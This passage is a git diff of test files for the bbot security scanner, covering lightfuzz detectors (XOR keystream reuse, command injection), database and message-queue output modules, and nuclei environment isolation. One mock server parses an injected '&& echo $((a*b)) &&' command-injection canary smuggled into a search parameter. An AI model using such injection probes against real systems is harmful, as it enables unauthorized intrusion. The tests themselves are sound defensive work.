+    c = _make_crypto_for_keystream(
+        "7276383284",
+        additional_params={"AccountName": "3767190588"},
+    )
+    c.detect_keystream_reuse("7276383284")
+    assert not c.results, f"FP on decimal account numbers: {c.results}"
+
+
+# -- True positives: MUST fire --
+
+
+def test_keystream_tp_real_xor_shared_prefix():
+    """Two plaintexts sharing a prefix, XOR-encrypted with the same key.
+    Simulates ColdFusion CFMX_COMPAT-style keystream reuse."""
+    key = b"\x5a\x3c\x7e\x1d\x9b\x42\xf0\xa8\x6c\x33\xd1\x07\xe5\x88\x2f\xbb\x44\x19\xc7\x56"
+    pt1 = b"session_id=alice_admin"
+    pt2 = b"session_id=bobby_guest"
+    ct1 = _xor_encrypt(pt1, key)
+    ct2 = _xor_encrypt(pt2, key)
+    hex1, hex2 = ct1.hex(), ct2.hex()
+    c = _make_crypto_for_keystream(hex1, same_param_values=[hex2])
+    c.detect_keystream_reuse(hex1)
+    assert c.results, "Missed real keystream reuse with shared-prefix plaintexts"
+    assert c.results[0]["severity"] in ("HIGH", "MEDIUM")
+
+
+def test_keystream_tp_real_xor_no_shared_prefix():
+    """Two plaintexts with no shared prefix, encrypted with the same key.
+    Detection driven by high ascii_xor_score across the full XOR."""
+    key = b"\xaa\xbb\xcc\xdd\xee\xff\x11\x22\x33\x44"
+    pt1 = b"role=admin"
+    pt2 = b"user=guest"
+    ct1 = _xor_encrypt(pt1, key)
+    ct2 = _xor_encrypt(pt2, key)
+    hex1, hex2 = ct1.hex(), ct2.hex()
+    c = _make_crypto_for_keystream(hex1, same_param_values=[hex2])
+    c.detect_keystream_reuse(hex1)
+    assert c.results, "Missed real keystream reuse with no shared prefix (ascii_score path)"
+
+
+def test_keystream_tp_real_xor_numeric_plaintext():
+    """Plaintexts are numeric strings (e.g. 'skillcd=12345' / 'skillcd=67890'),
+    encrypted with the same key. The diverging region is XOR of ASCII digits."""
+    key = b"\xde\xad\xbe\xef\xca\xfe\xba\xbe\xd0\x0d\x1e\x55\xc0\xff\xee"
+    pt1 = b"skillcd=12345"
+    pt2 = b"skillcd=67890"
+    ct1 = _xor_encrypt(pt1, key)
+    ct2 = _xor_encrypt(pt2, key)
+    hex1, hex2 = ct1.hex(), ct2.hex()
+    c = _make_crypto_for_keystream(hex1, same_param_values=[hex2])
+    c.detect_keystream_reuse(hex1)
+    assert c.results, "Missed real keystream reuse with numeric plaintext divergence"
+
+
+def test_keystream_tp_existing_bug_report_ciphertexts():
+    """The original bug-report ciphertexts (different lengths, 5-byte shared prefix).
+    Verifies the fix doesn't regress the motivating TP."""
+    ct1 = "4E4CDA8A93F87A"
+    ct2 = "4E4CDA8A93FF7B8584EEDB4C8D59A9C3567657"
+    c = _make_crypto_for_keystream(ct1, same_param_values=[ct2])
+    c.detect_keystream_reuse(ct1)
+    assert c.results, "Missed original bug-report keystream reuse ciphertexts"
+    assert c.results[0]["severity"] == "HIGH"
+
+
+def test_keystream_tp_three_ciphertexts_best_pair_wins():
+    """Three ciphertexts: one unrelated, two with real keystream reuse.
+    The detector should find and report the best pair."""
+    key = b"\x5a\x3c\x7e\x1d\x9b\x42\xf0\xa8\x6c\x33\xd1\x07\xe5"
+    pt1 = b"account=admin"
+    pt2 = b"account=guest"
+    ct1 = _xor_encrypt(pt1, key)
+    ct2 = _xor_encrypt(pt2, key)
+    unrelated = "aabbccddee112233"
+    hex1, hex2 = ct1.hex(), ct2.hex()
+    c = _make_crypto_for_keystream(hex1, same_param_values=[unrelated, hex2])
+    c.detect_keystream_reuse(hex1)
+    assert c.results, "Missed keystream reuse when an unrelated value is also present"
+
+
+# End-to-end: MongoDB ObjectId listing page must not fire
+class Test_Lightfuzz_keystream_reuse_mongo_objectid_fp(Test_Lightfuzz_keystream_reuse):
+    landing_page = """
+    <html><body>
+        <h1>Users</h1>
+        <a href="/profile?userId=65f1a2b3c1d2e3f4a5000001">Alice</a>
+        <a href="/profile?userId=65f1a2b3c1d2e3f4a5000002">Bob</a>
+        <a href="/profile?userId=65f1a2b3c1d2e3f4a5000003">Carol</a>
+    </body></html>
+    """
+
+    def check(self, module_test, events):
+        keystream_findings = [
+            e
+            for e in events
+            if e.type == "FINDING" and "Stream Cipher Keystream Reuse" in e.data.get("description", "")
+        ]
+        assert not keystream_findings, (
+            f"FP keystream-reuse on MongoDB ObjectIds: {[f.data.get('description') for f in keystream_findings]}"
+        )
+
+
+# ---------------------------------------------------------------------------
+# WEB_PARAMETER type restored after conversion passes
+# ---------------------------------------------------------------------------
+
+
+class Test_Lightfuzz_type_mutation_restored(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {
+                "enabled_submodules": ["xss"],
+                "try_get_as_post": True,
+                "emit_baseline_responses": False,
+            },
+        },
+    }
+
+    def request_handler(self, request):
+        parameter_block = """
+        <html><body>
+            <form action="/" method="GET">
+                <input type="text" name="q" value="test">
+                <button type="submit">Search</button>
+            </form>
+        </body></html>
+        """
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+        self._captured_params = []
+        original_handle = module_test.scan.modules["lightfuzz"].handle_event
+
+        async def tracking_handle(event):
+            await original_handle(event)
+            if event.type == "WEB_PARAMETER":
+                self._captured_params.append(
+                    {
+                        "name": event.data.get("name"),
+                        "type": event.data.get("type"),
+                        "converted_from_get": event.data.get("converted_from_get"),
+                        "converted_from_post": event.data.get("converted_from_post"),
+                    }
+                )
+
+        module_test.scan.modules["lightfuzz"].handle_event = tracking_handle
+
+    def check(self, module_test, events):
+        assert self._captured_params, "No WEB_PARAMETERs were processed by lightfuzz"
+        getparams = [p for p in self._captured_params if p["name"] == "q"]
+        assert getparams, "No GETPARAM 'q' was processed by lightfuzz"
+        for p in getparams:
+            assert p["type"] == "GETPARAM", (
+                f"WEB_PARAMETER '{p['name']}' type was not restored after conversion passes: "
+                f"type={p['type']}, converted_from_get={p['converted_from_get']}"
+            )
+            assert p["converted_from_get"] is None, (
+                f"WEB_PARAMETER '{p['name']}' still has converted_from_get flag after handle_event"
+            )
+            assert p["converted_from_post"] is None, (
+                f"WEB_PARAMETER '{p['name']}' still has converted_from_post flag after handle_event"
+            )
+
+
+# ---------------------------------------------------------------------------
+# cmdi arithmetic canary rejects leading-zero multiplicands
+# ---------------------------------------------------------------------------
+
+
+class Test_Lightfuzz_cmdi_no_leading_zero_arith(Test_Lightfuzz_cmdi):
+    """The arithmetic confirmation cascade must not produce leading-zero
+    multiplicands, which bash interprets as octal (diverging from Python's
+    decimal int()).  This test forces rand_string to return a leading-zero
+    value first, then verifies that the while loop rejects it and the
+    detection still succeeds with a valid pair against a faithful bash mock.
+    """
+
+    _rand_call_idx = 0
+
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <section class=search>
+            <form action=/ method=GET>
+                <input type=text placeholder='Search the blog...' name=search>
+                <button type=submit class=button>Search</button>
+            </form>
+        </section>
+        """
+        if "search=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            decoded = unquote(value)
+            # Faithful bash arithmetic: leading-zero literals are octal
+            arith = re.search(r"&& echo \$\(\((\d+)\*(\d+)\)\) &&", decoded)
+            if arith:
+                a_str, b_str = arith.group(1), arith.group(2)
+                try:
+                    a_val = int(a_str, 8) if (len(a_str) > 1 and a_str[0] == "0") else int(a_str)
+                    b_val = int(b_str, 8) if (len(b_str) > 1 and b_str[0] == "0") else int(b_str)
+                    cmdi_value = str(a_val * b_val)
+                except ValueError:
+                    cmdi_value = ""
+            elif "&& echo " in decoded:
+                cmdi_value = decoded.split("&& echo ")[1].split(" ")[0]
+            else:
+                cmdi_value = decoded
+            cmdi_block = f"""
+        <section class=blog-header>
+            <h1>0 search results for '{cmdi_value}'</h1>
+            <hr>
+        </section>
+        """
+            return Response(cmdi_block, status=200)
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        # Cycle: first pair always has a leading zero (tests rejection),
+        # second pair is clean.  Repeats for every cmdi submodule instance
+        # so the test works regardless of how many WEB_PARAMETERs excavate
+        # produces.
+        self.__class__._rand_call_idx = 0
+
+        def rand_string(*args, **kwargs):
+            if kwargs.get("numeric_only"):
+                if args and args[0] == 10:
+                    return "1234567890"
+                idx = self.__class__._rand_call_idx
+                self.__class__._rand_call_idx += 1
+                phase = idx % 4
+                if phase == 0:
+                    return "01234"
+                elif phase == 1:
+                    return "56789"
+                elif phase == 2:
+                    return "12345"
+                else:
+                    return "67890"
+            return "AAAAAAAAAAAAAA"
+
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = rand_string
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        cmdi_finding = any(
+            e.type == "FINDING"
+            and "POSSIBLE OS Command Injection" in e.data.get("description", "")
+            and "arithmetic canary (POSIX)" in e.data.get("description", "")
+            for e in events
+        )
+        assert cmdi_finding, (
+            "POSIX arithmetic canary CMDi finding not emitted -- "
+            "leading-zero multiplicand may have been used (bash octal vs Python decimal)"
+        )
+
+
+# ---------------------------------------------------------------------------
+# Connectivity test does not cache None (transient failure)
+# ---------------------------------------------------------------------------
+
+
+class Test_Lightfuzz_connectivity_no_cache_none(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {
+                "enabled_submodules": ["xss"],
+                "emit_baseline_responses": False,
+            },
+        },
+    }
+
+    _request_count = {"connectivity": 0}
+
+    def request_handler(self, request):
+        parameter_block = """
+        <html><body>
+            <form action="/" method="GET">
+                <input type="text" name="q" value="test">
+                <button type="submit">Search</button>
+            </form>
+        </body></html>
+        """
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+        lf = module_test.scan.modules["lightfuzz"]
+        original_request = lf.helpers.request
+        self.__class__._request_count = {"connectivity": 0}
+
+        async def flaky_request(url, **kwargs):
+            if kwargs.get("timeout") == 10:
+                self.__class__._request_count["connectivity"] += 1
+                if self.__class__._request_count["connectivity"] == 1:
+                    return None
+            return await original_request(url, **kwargs)
+
+        lf.helpers.request = flaky_request
+
+    def check(self, module_test, events):
+        lf = module_test.scan.modules["lightfuzz"]
+        for url, resp in lf._connectivity_test_cache.items():
+            assert resp is not None, (
+                f"Connectivity cache poisoned with None for {url} -- "
+                f"transient failure was cached, blocking all params on this page"
+            )
+        assert self.__class__._request_count["connectivity"] >= 2, (
+            f"Only {self.__class__._request_count['connectivity']} connectivity request(s) made -- "
+            f"expected retry after transient failure"
+        )
+
+
+class TestLightfuzzWildcardSkip(ModuleTestBase):
+    """When the host is an HTTP wildcard, lightfuzz should skip fuzzing entirely."""
+
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {"lightfuzz": {"enabled_submodules": ["sqli"]}},
+    }
+
+    async def setup_before_prep(self, module_test):
+        respond_args = {
+            "response_data": '<form><input name="q" value="test"></form>',
+            "status": 200,
+        }
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/"},
+            respond_args=respond_args,
+        )
+
+    async def setup_after_prep(self, module_test):
+        async def mock_wildcard(scheme, host, port):
+            return True
+
+        module_test.scan.helpers.web.is_http_wildcard_host = mock_wildcard
+
+    def check(self, module_test, events):
+        findings = [e for e in events if e.type == "FINDING" and str(e.module) == "lightfuzz"]
+        web_params_fuzzed = [e for e in events if e.type == "WEB_PARAMETER" and "lightfuzz" in str(e.module).lower()]
+        assert len(findings) == 0, f"lightfuzz should not fuzz wildcard hosts, but emitted findings: {findings}"
+        assert len(web_params_fuzzed) == 0, (
+            f"lightfuzz should not fuzz wildcard hosts, but processed params: {web_params_fuzzed}"
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_medusa.py b/bbot/test/test_step_2/module_tests/test_module_medusa.py
index 52743ebd5c..773c6733b5 100644
--- a/bbot/test/test_step_2/module_tests/test_module_medusa.py
+++ b/bbot/test/test_step_2/module_tests/test_module_medusa.py
@@ -44,7 +44,9 @@ async def setup_after_prep(self, module_test):
         await module_test.module.emit_event(protocol_event)
 
     def check(self, module_test, events):
-        vuln_events = [e for e in events if e.type == "VULNERABILITY"]
+        vuln_events = [e for e in events if e.type == "FINDING"]
 
         assert len(vuln_events) == 1
         assert "VALID [SNMPV2C] CREDENTIALS FOUND: public [READ]" in vuln_events[0].data["description"]
+        assert vuln_events[0].data["severity"] == "CRITICAL"
+        assert vuln_events[0].data["confidence"] == "CONFIRMED"
diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py
new file mode 100644
index 0000000000..94ea545715
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py
@@ -0,0 +1,155 @@
+import asyncio
+
+from .base import ModuleTestBase
+
+
+class TestMongo(ModuleTestBase):
+    test_db_name = "bbot_test"
+    test_collection_prefix = "test_"
+    config_overrides = {
+        "modules": {
+            "mongo": {
+                "database": test_db_name,
+                "username": "bbot",
+                "password": "bbotislife",
+                "collection_prefix": test_collection_prefix,
+            }
+        }
+    }
+    skip_distro_tests = True
+
+    async def setup_before_prep(self, module_test):
+        await asyncio.create_subprocess_exec(
+            "docker",
+            "run",
+            "--name",
+            "bbot-test-mongo",
+            "--rm",
+            "-e",
+            "MONGO_INITDB_ROOT_USERNAME=bbot",
+            "-e",
+            "MONGO_INITDB_ROOT_PASSWORD=bbotislife",
+            "-p",
+            "27017:27017",
+            "-d",
+            "mongo",
+        )
+        # Wait for port to be available
+        await self.wait_for_port_open(27017)
+
+    async def setup_after_prep(self, module_test):
+        from pymongo import AsyncMongoClient
+
+        # Connect to the MongoDB collection with retry logic
+        while True:
+            try:
+                client = AsyncMongoClient("mongodb://localhost:27017", username="bbot", password="bbotislife")
+                db = client[self.test_db_name]
+                events_collection = db.get_collection(self.test_collection_prefix + "events")
+                # Attempt a simple operation to confirm the connection
+                await events_collection.count_documents({})
+                break  # Exit the loop if connection is successful
+            except Exception as e:
+                print(f"Connection failed: {e}. Retrying...")
+                await asyncio.sleep(0.5)
+
+        # Check that there are no events in the collection
+        count = await events_collection.count_documents({})
+        assert count == 0, "There are existing events in the database"
+
+        # Close the MongoDB connection
+        await client.aclose()
+
+    async def check(self, module_test, events):
+        try:
+            from bbot.models.pydantic import Event
+            from pymongo import AsyncMongoClient
+
+            events_json = [e.json() for e in events]
+            events_json.sort(key=lambda x: x["timestamp"])
+
+            # Connect to the MongoDB collection
+            client = AsyncMongoClient("mongodb://localhost:27017", username="bbot", password="bbotislife")
+            db = client[self.test_db_name]
+            events_collection = db.get_collection(self.test_collection_prefix + "events")
+
+            ### INDEXES ###
+
+            # make sure the collection has all the right indexes
+            indexes_cursor = await events_collection.list_indexes()
+            indexes = await indexes_cursor.to_list(length=None)
+            # indexes = await cursor.to_list(length=None)
+            for field in Event.indexed_fields():
+                assert any(field in index["key"] for index in indexes), f"Index for {field} not found"
+
+            ### EVENTS ###
+
+            # Fetch all events from the collection
+            cursor = events_collection.find({})
+            db_events = await cursor.to_list(length=None)
+
+            # make sure we have the same number of events
+            assert len(events_json) == len(db_events)
+
+            for db_event in db_events:
+                assert isinstance(db_event["timestamp"], float)
+                assert isinstance(db_event["inserted_at"], float)
+
+            # Convert to Pydantic objects and dump them
+            db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events]
+            db_events_pydantic.sort(key=lambda x: x["timestamp"])
+
+            # Find the main event with type DNS_NAME and data blacklanternsecurity.com
+            main_event = next(
+                (
+                    e
+                    for e in db_events_pydantic
+                    if e.get("type") == "DNS_NAME" and e.get("data") == "blacklanternsecurity.com"
+                ),
+                None,
+            )
+            assert main_event is not None, "Main event with type DNS_NAME and data blacklanternsecurity.com not found"
+
+            # Ensure it has the reverse_host attribute
+            expected_reverse_host = "blacklanternsecurity.com"[::-1]
+            assert main_event.get("reverse_host") == expected_reverse_host, (
+                f"reverse_host attribute is not correct, expected {expected_reverse_host}"
+            )
+
+            # Events don't match exactly because the mongo ones have reverse_host and inserted_at
+            assert events_json != db_events_pydantic
+            for db_event in db_events_pydantic:
+                db_event.pop("reverse_host", None)
+                db_event.pop("inserted_at", None)
+                db_event.pop("archived", None)
+            # They should match after removing reverse_host
+            assert events_json == db_events_pydantic, "Events do not match"
+
+            ### SCANS ###
+
+            # Fetch all scans from the collection
+            cursor = db.get_collection(self.test_collection_prefix + "scans").find({})
+            db_scans = await cursor.to_list(length=None)
+            assert len(db_scans) == 1, "There should be exactly one scan"
+            db_scan = db_scans[0]
+            assert db_scan["id"] == main_event["scan"], "Scan id should match main event scan"
+
+            ### TARGETS ###
+
+            # Fetch all targets from the collection
+            cursor = db.get_collection(self.test_collection_prefix + "targets").find({})
+            db_targets = await cursor.to_list(length=None)
+            assert len(db_targets) == 1, "There should be exactly one target"
+            db_target = db_targets[0]
+            scan_event = next(e for e in events if e.type == "SCAN")
+            assert db_target["hash"] == scan_event.data["target"]["hash"], "Target hash should match scan target hash"
+
+        finally:
+            # Clean up: Delete all documents in the collection
+            await events_collection.delete_many({})
+            # Close the MongoDB connection
+            await client.aclose()
+            process = await asyncio.create_subprocess_exec(
+                "docker", "stop", "bbot-test-mongo", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
+            )
+            await process.communicate()
diff --git a/bbot/test/test_step_2/module_tests/test_module_mysql.py b/bbot/test/test_step_2/module_tests/test_module_mysql.py
index 4867c568d5..de30c58f9f 100644
--- a/bbot/test/test_step_2/module_tests/test_module_mysql.py
+++ b/bbot/test/test_step_2/module_tests/test_module_mysql.py
@@ -1,5 +1,4 @@
 import asyncio
-import time
 
 from .base import ModuleTestBase
 
@@ -28,20 +27,8 @@ async def setup_before_prep(self, module_test):
         )
         stdout, stderr = await process.communicate()
 
-        import aiomysql
-
         # wait for the container to start
-        start_time = time.time()
-        while True:
-            try:
-                conn = await aiomysql.connect(user="root", password="bbotislife", db="bbot", host="localhost")
-                conn.close()
-                break
-            except Exception as e:
-                if time.time() - start_time > 60:  # timeout after 60 seconds
-                    self.log.error("MySQL server did not start in time.")
-                    raise e
-                await asyncio.sleep(1)
+        await self.wait_for_port_open(3306)
 
         if process.returncode != 0:
             self.log.error(f"Failed to start MySQL server: {stderr.decode()}")
diff --git a/bbot/test/test_step_2/module_tests/test_module_myssl.py b/bbot/test/test_step_2/module_tests/test_module_myssl.py
index b39f2711d5..c6c535268b 100644
--- a/bbot/test/test_step_2/module_tests/test_module_myssl.py
+++ b/bbot/test/test_step_2/module_tests/test_module_myssl.py
@@ -4,7 +4,7 @@
 class TestMySSL(ModuleTestBase):
     async def setup_after_prep(self, module_test):
         module_test.module.abort_if = lambda e: False
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://myssl.com/api/v1/discover_sub_domain?domain=blacklanternsecurity.com",
             json={
                 "code": 0,
diff --git a/bbot/test/test_step_2/module_tests/test_module_nats.py b/bbot/test/test_step_2/module_tests/test_module_nats.py
new file mode 100644
index 0000000000..41ae021cac
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_nats.py
@@ -0,0 +1,67 @@
+import json
+import asyncio
+from contextlib import suppress
+
+from .base import ModuleTestBase
+
+
+class TestNats(ModuleTestBase):
+    config_overrides = {
+        "modules": {
+            "nats": {
+                "servers": ["nats://localhost:4222"],
+                "subject": "bbot_events",
+            }
+        }
+    }
+    skip_distro_tests = True
+
+    async def setup_before_prep(self, module_test):
+        # Start NATS server
+        await asyncio.create_subprocess_exec(
+            "docker", "run", "-d", "--rm", "--name", "bbot-test-nats", "-p", "4222:4222", "nats:latest"
+        )
+
+        # Wait for NATS to be ready by checking the port
+        await self.wait_for_port_open(4222)
+
+    async def setup_after_prep(self, module_test):
+        # Connect to NATS (nats-py installed by dependency system during _prep)
+        import nats
+
+        try:
+            self.nc = await nats.connect(["nats://localhost:4222"])
+        except Exception as e:
+            self.log.error(f"Error connecting to NATS: {e}")
+            raise
+
+        # Collect events from NATS
+        self.nats_events = []
+
+        async def message_handler(msg):
+            event_data = json.loads(msg.data.decode("utf-8"))
+            self.nats_events.append(event_data)
+
+        await self.nc.subscribe("bbot_events", cb=message_handler)
+
+    async def check(self, module_test, events):
+        try:
+            events_json = [e.json() for e in events]
+            events_json.sort(key=lambda x: x["timestamp"])
+
+            self.nats_events.sort(key=lambda x: x["timestamp"])
+
+            # Verify the events match
+            assert events_json == self.nats_events, "Events do not match"
+
+        finally:
+            with suppress(Exception):
+                # Clean up: Stop the NATS client
+                if self.nc.is_connected:
+                    await self.nc.drain()
+                await self.nc.close()
+            # Stop NATS server container
+            process = await asyncio.create_subprocess_exec(
+                "docker", "stop", "bbot-test-nats", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
+            )
+            await process.communicate()
diff --git a/bbot/test/test_step_2/module_tests/test_module_neo4j.py b/bbot/test/test_step_2/module_tests/test_module_neo4j.py
index c5df1e4748..be395206d3 100644
--- a/bbot/test/test_step_2/module_tests/test_module_neo4j.py
+++ b/bbot/test/test_step_2/module_tests/test_module_neo4j.py
@@ -4,13 +4,14 @@
 class TestNeo4j(ModuleTestBase):
     config_overrides = {"modules": {"neo4j": {"uri": "bolt://127.0.0.1:11111"}}}
 
-    async def setup_before_prep(self, module_test):
+    async def setup_after_prep(self, module_test):
         # install neo4j
         deps_pip = module_test.preloaded["neo4j"]["deps"]["pip"]
         await module_test.scan.helpers.depsinstaller.pip_install(deps_pip)
 
         self.neo4j_used = False
 
+    async def setup_before_prep(self, module_test):
         class MockResult:
             async def data(s):
                 self.neo4j_used = True
diff --git a/bbot/test/test_step_2/module_tests/test_module_newsletters.py b/bbot/test/test_step_2/module_tests/test_module_newsletters.py
index c5edd25141..e9b3c8fc60 100644
--- a/bbot/test/test_step_2/module_tests/test_module_newsletters.py
+++ b/bbot/test/test_step_2/module_tests/test_module_newsletters.py
@@ -7,7 +7,7 @@ class TestNewsletters(ModuleTestBase):
     found_tgt = "http://127.0.0.1:8888/found"
     missing_tgt = "http://127.0.0.1:8888/missing"
     targets = [found_tgt, missing_tgt]
-    modules_overrides = ["speculate", "httpx", "newsletters"]
+    modules_overrides = ["speculate", "http", "newsletters"]
 
     html_with_newsletter = """
     <input aria-required="true"
diff --git a/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py b/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py
index b88595be01..3ec65ae959 100644
--- a/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py
+++ b/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py
@@ -25,9 +25,17 @@ async def handle_event(self, event):
                     {"host": str(event.host), "port": event.port, "protocol": "https"}, "PROTOCOL", parent=event
                 )
 
-    async def setup_before_prep(self, module_test):
+    async def setup_after_prep(self, module_test):
         self.dummy_module = self.DummyModule(module_test.scan)
         module_test.scan.modules["dummy_module"] = self.dummy_module
+        await self.dummy_module.setup()
+
+        # Manually update speculate module's open_port_consumers setting
+        speculate_module = module_test.scan.modules.get("speculate")
+        if speculate_module:
+            speculate_module.open_port_consumers = True
+            speculate_module._always_emit_open_ports = True
+
         await module_test.mock_dns(
             {
                 "blacklanternsecurity.com": {"A": ["127.0.0.1", "127.0.0.2"]},
diff --git a/bbot/test/test_step_2/module_tests/test_module_ntlm.py b/bbot/test/test_step_2/module_tests/test_module_ntlm.py
index 7b834ef2f9..2f47f5ce71 100644
--- a/bbot/test/test_step_2/module_tests/test_module_ntlm.py
+++ b/bbot/test/test_step_2/module_tests/test_module_ntlm.py
@@ -3,7 +3,7 @@
 
 class TestNTLM(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "ntlm"]
+    modules_overrides = ["http", "ntlm"]
     config_overrides = {"modules": {"ntlm": {"try_all": True}}}
 
     async def setup_after_prep(self, module_test):
diff --git a/bbot/test/test_step_2/module_tests/test_module_nuclei.py b/bbot/test/test_step_2/module_tests/test_module_nuclei.py
index cc19e0da77..88f0e2a01e 100644
--- a/bbot/test/test_step_2/module_tests/test_module_nuclei.py
+++ b/bbot/test/test_step_2/module_tests/test_module_nuclei.py
@@ -4,19 +4,19 @@
 
 class TestNucleiManual(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "excavate", "nuclei"]
+    modules_overrides = ["http", "excavate", "nuclei"]
     config_overrides = {
         "web": {
             "spider_distance": 1,
             "spider_depth": 1,
         },
+        "interactsh_disable": True,
         "modules": {
             "nuclei": {
                 "mode": "manual",
                 "concurrency": 2,
                 "ratelimit": 10,
-                "templates": "/tmp/.bbot_test/tools/nuclei-templates/http/miscellaneous/",
-                "interactsh_disable": True,
+                "templates": "/tmp/.bbot_test/tools/nuclei-state/templates/http/miscellaneous/",
                 "directory_only": False,
             }
         },
@@ -53,20 +53,23 @@ def check(self, module_test, events):
             if e.type == "FINDING":
                 if "Directory listing enabled" in e.data["description"]:
                     first_run_detect = True
+                    # Nuclei emits HIGH confidence for most findings
+                    assert e.data["confidence"] == "HIGH"
                 elif "Copyright" in e.data["description"]:
                     second_run_detect = True
+                    assert e.data["confidence"] == "HIGH"
         assert first_run_detect
         assert second_run_detect
 
 
 class TestNucleiSevere(TestNucleiManual):
-    modules_overrides = ["httpx", "nuclei"]
+    modules_overrides = ["http", "nuclei"]
     config_overrides = {
         "modules": {
             "nuclei": {
                 "mode": "severe",
                 "concurrency": 1,
-                "templates": "/tmp/.bbot_test/tools/nuclei-templates/http/vulnerabilities/generic/generic-env.yaml",
+                "templates": "/tmp/.bbot_test/tools/nuclei-state/templates/http/vulnerabilities/generic/generic-env.yaml",
             }
         },
         "interactsh_disable": True,
@@ -82,9 +85,7 @@ async def setup_after_prep(self, module_test):
         module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
 
     def check(self, module_test, events):
-        assert any(
-            e.type == "VULNERABILITY" and "Generic Env File Disclosure" in e.data["description"] for e in events
-        )
+        assert any(e.type == "FINDING" and "Generic Env File Disclosure" in e.data["description"] for e in events)
 
 
 class TestNucleiTechnology(TestNucleiManual):
@@ -108,15 +109,15 @@ def check(self, module_test, events):
 
 class TestNucleiBudget(TestNucleiManual):
     config_overrides = {
+        "interactsh_disable": True,
         "modules": {
             "nuclei": {
                 "mode": "budget",
                 "concurrency": 1,
                 "tags": "spiderfoot",
-                "templates": "/tmp/.bbot_test/tools/nuclei-templates/exposed-panels/spiderfoot.yaml",
-                "interactsh_disable": True,
+                "templates": "/tmp/.bbot_test/tools/nuclei-state/templates/exposed-panels/spiderfoot.yaml",
             }
-        }
+        },
     }
 
     async def setup_before_prep(self, module_test):
@@ -155,6 +156,82 @@ def check(self, module_test, events):
         assert "-retries 1" in open(module_test.scan.home / "debug.log").read()
 
 
+class TestNucleiEnvIsolation(TestNucleiManual):
+    """Set hostile env vars before the scan and verify _nuclei_env() filters them out.
+
+    The base TestNucleiManual assertions double as a regression check: nuclei must
+    still find and run templates even when the user's env has DISABLE_*_DOWNLOAD,
+    XDG_CONFIG_HOME, etc. set.
+    """
+
+    leaky_env = {
+        "PDCP_API_KEY": "user-pdcp-key-must-not-leak",
+        "PDCP_TEAM_ID": "user-team",
+        "XDG_CONFIG_HOME": "/tmp/.bbot_test/xdg-leak-config",
+        "XDG_CACHE_HOME": "/tmp/.bbot_test/xdg-leak-cache",
+        "GITHUB_TOKEN": "ghp_usertoken",
+        "GITHUB_TEMPLATE_REPO": "attacker/private-templates",
+        "GITLAB_TOKEN": "glpat-usertoken",
+        "AWS_ACCESS_KEY": "AKIA-user",
+        "AWS_SECRET_KEY": "user-aws-secret",
+        "AZURE_CLIENT_SECRET": "azure-secret",
+        "NUCLEI_SIGNATURE_PUBLIC_KEY": "user-pubkey",
+        "DISABLE_NUCLEI_TEMPLATES_PUBLIC_DOWNLOAD": "true",
+    }
+
+    async def setup_before_prep(self, module_test):
+        await super().setup_before_prep(module_test)
+        for k, v in self.leaky_env.items():
+            module_test.monkeypatch.setenv(k, v)
+
+    # XDG_{CONFIG,CACHE}_HOME are set by _nuclei_env() itself to our paths,
+    # so they appear in env but must override (not echo back) the user's values.
+    _xdg_overridden = {"XDG_CONFIG_HOME", "XDG_CACHE_HOME"}
+
+    def check(self, module_test, events):
+        super().check(module_test, events)
+        nuclei = module_test.scan.modules["nuclei"]
+        env = nuclei._nuclei_env()
+        for k, v in self.leaky_env.items():
+            if k in self._xdg_overridden:
+                assert env.get(k) != v, f"{k} leaked user value into nuclei env"
+            else:
+                assert k not in env, f"{k} leaked into nuclei subprocess env"
+        assert env["XDG_CONFIG_HOME"] == str(nuclei.nuclei_config_dir)
+        assert env["XDG_CACHE_HOME"] == str(nuclei.nuclei_cache_dir)
+        # HOME is intentionally NOT forwarded — nuclei must rely on the XDG
+        # vars we set, not on the user's home dir.
+        assert "HOME" not in env
+
+
+def test_nuclei_classify_update_stderr():
+    """Regression: nuclei's success line has changed wording across releases
+    ("downloaded" → "installed" → "updated"). All three must classify as
+    success so a fresh install isn't mis-logged as a failure.
+    """
+    from bbot.modules.nuclei import nuclei
+
+    c = nuclei._classify_update_stderr
+    # First-time install (what nuclei v3.8 prints on a clean state dir).
+    assert (
+        c(
